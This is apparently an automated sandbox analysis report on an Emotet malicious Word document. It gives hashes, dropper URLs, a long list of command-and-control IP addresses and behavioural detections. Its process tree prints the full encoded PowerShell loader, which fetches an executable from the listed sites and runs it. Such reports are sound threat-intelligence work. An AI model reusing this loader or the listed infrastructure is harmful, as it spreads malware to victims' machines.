Analysis
- max time kernel
137s - max time network
153s - platform
windows10_x64 - resource
win10 - submitted
14/08/2020, 14:58
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389_2020-08-14__145636._doc.doc
Resource
win7v200722
General
- Target emotet_e3_c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389_2020-08-14__145636._doc.doc
- Size 230KB
- Sample200814-385nt937bx
- SHA256 c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389
- MD5 d13c517bbaf46d5aaaf6b040d8a1bf4c
- SHA1 14ffed809f51389d1b42c7dca8dbb7e26d13148d
- SHA512 d3486e203d51df6a8c9a7584710e05bda2a658313154e8bde3a81f1273cb751b74659fb68bb729e0b01328db620887a3a9f657d9fa72edf41eb6c8b5cfb5fc83
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
http://arsan.com.br/img_b2w/jstgflap98/
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exe.dropper
http://koester-pb.de/cgi-bin/HoDIPqV/
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exe.dropper
http://aragonmetal.com/_installation/LPMGMZroO/
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exe.dropper
https://www.witdigi.com/wp-content/uploads/iBeE/
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exe.dropper
http://yellowstonefitness.com/j5es7cx/QgLkys4ga64g228/
Extracted
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emotet
-
71.57.180.213:80
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185.86.148.68:443
-
168.235.82.183:8080
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181.113.229.139:443
-
181.134.9.162:80
-
217.199.160.224:8080
-
105.209.235.113:8080
-
216.75.37.196:8080
-
97.104.107.190:80
-
203.153.216.182:7080
-
107.161.30.122:8080
-
41.106.96.12:80
-
202.5.47.71:80
-
201.235.10.215:80
-
105.213.67.88:80
-
115.79.195.246:80
-
179.5.118.12:80
-
212.112.113.235:80
-
139.59.12.63:8080
-
177.37.81.212:443
-
81.17.93.134:80
-
46.32.229.152:8080
-
66.61.94.36:80
-
172.96.190.154:8080
-
176.9.93.82:7080
-
5.79.70.250:8080
-
190.212.140.6:80
-
37.46.129.215:8080
-
115.165.3.213:80
-
201.213.177.139:80
-
187.64.128.197:80
-
92.24.51.238:80
-
185.208.226.142:8080
-
50.116.78.109:8080
-
46.105.131.68:8080
-
181.114.114.203:80
-
190.190.15.20:80
-
198.57.203.63:8080
-
188.251.213.180:443
-
185.142.236.163:443
-
182.176.95.147:80
-
143.95.101.72:8080
-
181.164.110.7:80
-
113.161.148.81:80
-
51.38.201.19:7080
-
31.146.61.34:80
-
75.139.38.211:80
-
157.7.164.178:8081
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203.153.216.178:7080
-
212.156.133.218:80
-
81.214.253.80:443
-
87.106.231.60:8080
-
190.164.75.175:80
-
77.74.78.80:443
-
179.62.238.49:80
-
78.189.60.109:443
-
177.32.8.85:80
-
195.201.56.70:8080
-
190.53.144.120:80
-
75.127.14.170:8080
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177.144.130.105:443
-
178.33.167.120:8080
-
192.210.217.94:8080
-
192.241.220.183:8080
-
188.0.135.237:80
-
74.208.173.91:8080
-
182.187.139.200:8080
-
172.105.78.244:8080
-
41.185.29.128:8080
-
197.83.232.19:80
-
87.252.100.28:80
-
115.78.11.155:80
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192.163.221.191:8080
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91.83.93.103:443
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139.99.157.213:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3824 2988 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1768-14-0x0000000000690000-0x000000000069C000-memory.dmp emotet behavioral2/memory/1768-14-0x0000000000690000-0x000000000069C000-memory.dmp emotet behavioral2/memory/2152-17-0x00000000021A0000-0x00000000021AC000-memory.dmp emotet behavioral2/memory/2152-17-0x00000000021A0000-0x00000000021AC000-memory.dmp emotet - Blacklisted process makes network request 2 IoCs
flow pid Process 11 3824 powersheLL.exe 19 3824 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1768 Ccbp.exe 2152 RpcNs4.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\winmmbase\RpcNs4.exe Ccbp.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3908 WINWORD.EXE 3908 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3824 powersheLL.exe 3824 powersheLL.exe 3824 powersheLL.exe 2152 RpcNs4.exe 2152 RpcNs4.exe 2152 RpcNs4.exe 2152 RpcNs4.exe 2152 RpcNs4.exe 2152 RpcNs4.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3824 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 1768 Ccbp.exe 1768 Ccbp.exe 2152 RpcNs4.exe 2152 RpcNs4.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3824 wrote to memory of 1768 3824 powersheLL.exe 75 PID 3824 wrote to memory of 1768 3824 powersheLL.exe 75 PID 3824 wrote to memory of 1768 3824 powersheLL.exe 75 PID 1768 wrote to memory of 2152 1768 Ccbp.exe 76 PID 1768 wrote to memory of 2152 1768 Ccbp.exe 76 PID 1768 wrote to memory of 2152 1768 Ccbp.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389_2020-08-14__145636._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3908
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABQAGsAaAByADUAZABwAD0AJwBaAHAAawByAG0AawBxACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAYABVAGAAUgBpAGAAVABZAFAAYABSAE8AVABPAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQA2AF8AdQBkAHAAMAAgAD0AIAAnAEMAYwBiAHAAJwA7ACQAWQBxADEAbwBsAHQAcQA9ACcASwBvADIAZgAzAHoAZAAnADsAJABCADgAOQB0ADUAcwB2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARQA2AF8AdQBkAHAAMAArACcALgBlAHgAZQAnADsAJABOAHYAbQAwAHIAYgB0AD0AJwBGAGQAMAA3AG8AOABxACcAOwAkAFYAZgBnAHgAZQA3ADAAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkARQBOAFQAOwAkAFgANwA1AHgAMQBvADAAPQAnAGgAdAB0AHAAOgAvAC8AYQByAHMAYQBuAC4AYwBvAG0ALgBiAHIALwBpAG0AZwBfAGIAMgB3AC8AagBzAHQAZwBmAGwAYQBwADkAOAAvACoAaAB0AHQAcAA6AC8ALwBrAG8AZQBzAHQAZQByAC0AcABiAC4AZABlAC8AYwBnAGkALQBiAGkAbgAvAEgAbwBEAEkAUABxAFYALwAqAGgAdAB0AHAAOgAvAC8AYQByAGEAZwBvAG4AbQBlAHQAYQBsAC4AYwBvAG0ALwBfAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC8ATABQAE0ARwBNAFoAcgBvAE8ALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaQB0AGQAaQBnAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBCAGUARQAvACoAaAB0AHQAcAA6AC8ALwB5AGUAbABsAG8AdwBzAHQAbwBuAGUAZgBpAHQAbgBlAHMAcwAuAGMAbwBtAC8AagA1AGUAcwA3AGMAeAAvAFEAZwBMAGsAeQBzADQAZwBhADYANABnADIAMgA4AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWADIAZgBmAHUANABmAD0AJwBRAHUAcwB3AHkAZgAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABPADIAMwB6AGMAMQBiACAAaQBuACAAJABYADcANQB4ADEAbwAwACkAewB0AHIAeQB7ACQAVgBmAGcAeABlADcAMAAuACIARABPAFcAYABOAGwAbwBgAEEARABGAEkATABFACIAKAAkAE8AMgAzAHoAYwAxAGIALAAgACQAQgA4ADkAdAA1AHMAdgApADsAJABFAHkAdgB0ADEAdwAzAD0AJwBYAGwAZwBpAHYAdQByACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQgA4ADkAdAA1AHMAdgApAC4AIgBMAGAARQBOAGcAVABoACIAIAAtAGcAZQAgADIAOQA5ADkAMQApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACgAJABCADgAOQB0ADUAcwB2ACkAOwAkAFMAbABiAHUAMABoADEAPQAnAEIAbQA4AHQAOQAyAGQAJwA7AGIAcgBlAGEAawA7ACQASAB6ADIAbAA5AG0AaQA9ACcARwBpAGkAeAA5ADEAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABBAHkAMAA1AHkAZABpAD0AJwBXAGQAeQBrADYAbgBhACcA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Users\Admin\AppData\Local\Temp\Ccbp.exe"C:\Users\Admin\AppData\Local\Temp\Ccbp.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\SysWOW64\winmmbase\RpcNs4.exe"C:\Windows\SysWOW64\winmmbase\RpcNs4.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2152
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